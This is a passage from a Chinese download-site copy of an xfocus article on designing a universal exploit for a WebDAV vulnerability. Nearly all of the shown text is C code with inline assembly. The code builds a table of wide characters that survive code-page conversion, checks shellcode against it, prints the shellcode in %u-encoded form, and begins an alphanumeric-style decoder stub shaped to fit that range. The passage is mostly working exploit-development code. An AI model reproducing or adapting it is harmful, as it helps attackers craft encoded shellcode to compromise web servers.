⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 webdav漏洞简单分析及通用exploit设计.html

📁 里面收集的是发表在www.xfocus.org上的文章
💻 HTML
📖 第 1 页 / 共 5 页
字号:
#define&nbsp;&nbsp;FNENDLONG&nbsp;&nbsp; 0x08<br />
<br />
void main()<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;char *fnendstr=&quot;\x90\x90\x90\x90\x90\x90\x90\x90\x90&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;&nbsp;&nbsp;&nbsp;temp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;&nbsp;&nbsp;&nbsp;*shellcodefnadd;<br />
&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;&nbsp;&nbsp;&nbsp;shellcode[512];<br />
&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;len,k;<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;/* 定位 shellcodefnlock的汇编代码 */<br />
&nbsp;&nbsp;&nbsp;&nbsp;shellcodefnadd=shellcodefnlock;<br />
&nbsp;&nbsp;&nbsp;&nbsp;temp=*shellcodefnadd;<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(temp==0xe9) <br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;++shellcodefnadd;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;k=*(int *)shellcodefnadd;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;shellcodefnadd+=k;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;shellcodefnadd+=4;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;for(k=0;k&lt;=0x500;++k)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br />
&nbsp;&nbsp;&nbsp;&nbsp;/* shellcodefnadd+k+8是得到的shellcodefnlock汇编代码地址 */<br />
&nbsp;&nbsp;&nbsp;&nbsp;len = 2*wcslen(shellcodefnadd+k+8);<br />
&nbsp;&nbsp;&nbsp;&nbsp;memcpy(shellcode,shellcodefnadd+k+8,len);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(!MakeWideCharList()) return;<br />
&nbsp;&nbsp;&nbsp;&nbsp;//SaveToFile();<br />
&nbsp;&nbsp;&nbsp;&nbsp;/*检测shellcode是否在合法的wide char范围*/<br />
&nbsp;&nbsp;&nbsp;&nbsp;checkcode(shellcode, len);<br />
&nbsp;&nbsp;&nbsp;&nbsp;//printsc(shellcode, len);<br />
}<br />
<br />
BOOL MakeWideCharList()<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;unsigned char wbuff[4];<br />
&nbsp;&nbsp;&nbsp;&nbsp;unsigned char wbuff2[4];<br />
&nbsp;&nbsp;&nbsp;&nbsp;unsigned char buff[4];<br />
&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i,j,ret,k;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;g_szWideCharShort = (char *)malloc(65536);<br />
&nbsp;&nbsp;&nbsp;&nbsp;memset(g_szWideCharShort, 1 , 65536);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;for(k=0;k&lt;sizeof(g_iCodePageList)/sizeof(int);k++)//for 1<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;UseCodePage=%d\n&quot;,g_iCodePageList[k]);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(i=0;i&lt;256;i++)//for 2<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(j=0;j&lt;256;j++)//for 3<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if((i==0) &amp;&amp; (j==0)) j=1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(buff, 0, 4);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(wbuff2, 0, 4);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;wbuff[0]=(BYTE)i;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;wbuff[1]=(BYTE)j;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;wbuff[2]=(BYTE)&#39;\0&#39;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;wbuff[3]=(BYTE)&#39;\0&#39;;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!(ret = WideCharToMultiByte(g_iCodePageList[k], 0, <br />
(unsigned short *)wbuff, 1, buff, 2, 0,0)))&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;WideCharToMultiByte error:%d\n&quot;, <br />
GetLastError());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!(ret = MultiByteToWideChar(g_iCodePageList[k], 0, <br />
buff,strlen(buff), (unsigned short *)wbuff2, 1)))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;MultiByteToWideChar error:%d %d\n&quot;, <br />
GetLastError(), ret);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//判断经过两次转换后是否改变,只要在任何一种code <br />
page改变都视为非法wide char范围<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(*(DWORD *)wbuff != *(DWORD *)wbuff2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;g_szWideCharShort[(BYTE)wbuff[0]*0x100 + <br />
(BYTE)wbuff[1]] = (BYTE)&#39;\0&#39;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//getchar();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}//end of for 2<br />
&nbsp;&nbsp;&nbsp;&nbsp;}//end of for 1<br />
&nbsp;&nbsp;&nbsp;&nbsp;return TRUE;<br />
}<br />
<br />
void SaveToFile()<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;unsigned char&nbsp;&nbsp;&nbsp;&nbsp;*g_pStr;<br />
&nbsp;&nbsp;&nbsp;&nbsp;FILE&nbsp;&nbsp;&nbsp;&nbsp;*f;<br />
&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i,j,k;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;i=0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;/*将允许的wide char范围保存在文本文件,便于调试时查询*/<br />
&nbsp;&nbsp;&nbsp;&nbsp;g_pStr = (unsigned char *)malloc(65536*6 +200);<br />
&nbsp;&nbsp;&nbsp;&nbsp;memset(g_pStr, 0, 65536*6+200);<br />
&nbsp;&nbsp;&nbsp;&nbsp;for(k=0;k&lt;sizeof(g_iCodePageList)/sizeof(int);k++)//for 1<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i += sprintf(g_pStr+i, &quot;UseCodePage=%d\n&quot;,g_iCodePageList[k]);<br />
&nbsp;&nbsp;&nbsp;&nbsp;for(j=0;j&lt;65536;j++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(g_szWideCharShort[j] != (BYTE)&#39;\0&#39;)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i += sprintf(g_pStr+i, &quot;%.4X\n&quot;, j);<br />
&nbsp;&nbsp;&nbsp;&nbsp;f = fopen(&quot;c:\\w.txt&quot;, &quot;w&quot;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(f, &quot;%s&quot;, g_pStr);<br />
&nbsp;&nbsp;&nbsp;&nbsp;fclose(f);<br />
&nbsp;&nbsp;&nbsp;&nbsp;free(g_pStr);<br />
}<br />
<br />
void printsc(unsigned char *sc, int len)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;l;<br />
&nbsp;&nbsp;&nbsp;&nbsp;for(l=0;l&lt;len;l+=1)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(l==0) printf(&quot;\&quot;&quot;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if((l%16 == 0) &amp;&amp; (l!=0))printf(&quot;\&quot;\n\&quot;&quot;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\\x%.2X&quot;, sc[l]);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(l==len-1) printf(&quot;\&quot;&quot;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\n\n&quot;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;for(l=0;l&lt;len;l+=2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(l==0) printf(&quot;\&quot;&quot;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if((l%16 == 0) &amp;&amp; (l!=0))printf(&quot;\&quot;\n\&quot;&quot;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;%%u%.2X%.2X&quot;, sc[l+1], sc[l]);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(l==len-2) printf(&quot;\&quot;&quot;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
}<br />
<br />
void checkcode(unsigned char *sc,int len)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;l;<br />
&nbsp;&nbsp;&nbsp;&nbsp;/*检测*/<br />
&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\nstart check shellcode\n&quot;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;for(l=0;l&lt;len;l+=2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;shellcode %.2X%.2X at sc[%.2d] sc[%.2d] &quot;,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sc[l], sc[l+1], l, l+1);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(g_szWideCharShort[(BYTE)sc[l]*0x100 + (BYTE)sc[l+1]] == (BYTE)&#39;\0&#39;)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;not &quot;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;allow.\n&quot;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;Done.\n&quot;);<br />
}<br />
<br />
/*注意:为了符合wide char范围,NOPCODE与DATABASE与yuange的不一样*/<br />
/*相应对shellcode进行编码时要注意以此为准*/<br />
#define&nbsp;&nbsp;NOPCODE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x4f//dec esi 0x4f=&#39;O&#39; 0x4E=&#39;N&#39;<br />
#define&nbsp;&nbsp;OFFSETNUM&nbsp;&nbsp;&nbsp;&nbsp; 0x8<br />
#define&nbsp;&nbsp;DATABASE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x64<br />
void&nbsp;&nbsp;shellcodefnlock()<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;_asm<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp; nop<br />
&nbsp;&nbsp;&nbsp;&nbsp; nop<br />
&nbsp;&nbsp;&nbsp;&nbsp; nop<br />
&nbsp;&nbsp;&nbsp;&nbsp; nop<br />
&nbsp;&nbsp;&nbsp;&nbsp; nop<br />
&nbsp;&nbsp;&nbsp;&nbsp; nop<br />
&nbsp;&nbsp;&nbsp;&nbsp; nop<br />
&nbsp;&nbsp;&nbsp;&nbsp; nop<br />
<br />
/*start here*/<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp; dec&nbsp;&nbsp;&nbsp;&nbsp;edi//无用代码,为迁就指令范围 4f<br />
&nbsp;&nbsp;&nbsp;&nbsp; jnz&nbsp;&nbsp;&nbsp;&nbsp;unlockdataw//75 05<br />
&nbsp;&nbsp;&nbsp;&nbsp; jz&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unlockdataw//74 03<br />
&nbsp;&nbsp;&nbsp;&nbsp; dec&nbsp;&nbsp;&nbsp;&nbsp;esi//无用代码,为迁就指令范围 4e &lt;--永远不会执行到此<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp; /*将toshell放在前面是为了方便后面调试,可以一点一点往后调试*/<br />
&nbsp;&nbsp;&nbsp;&nbsp; /*不然jz toshell的时候,如果是往后跳转,而且后面的偏移没确定的话,就很难调准*/<br />
&nbsp;&nbsp;&nbsp;&nbsp; /*符合wide char范围的代码了*/<br />
toshell:&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp; /*此时esp存放的是解码后的shellcode起始地址,也即解码前shellcode的起始地址*/<br />
&nbsp;&nbsp;&nbsp;&nbsp; ret//c3<br />
&nbsp;&nbsp;&nbsp;&nbsp; dec&nbsp;&nbsp;&nbsp;&nbsp;edi//无用代码,为迁就指令范围 4f &lt;--永远不会执行到此<br />

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -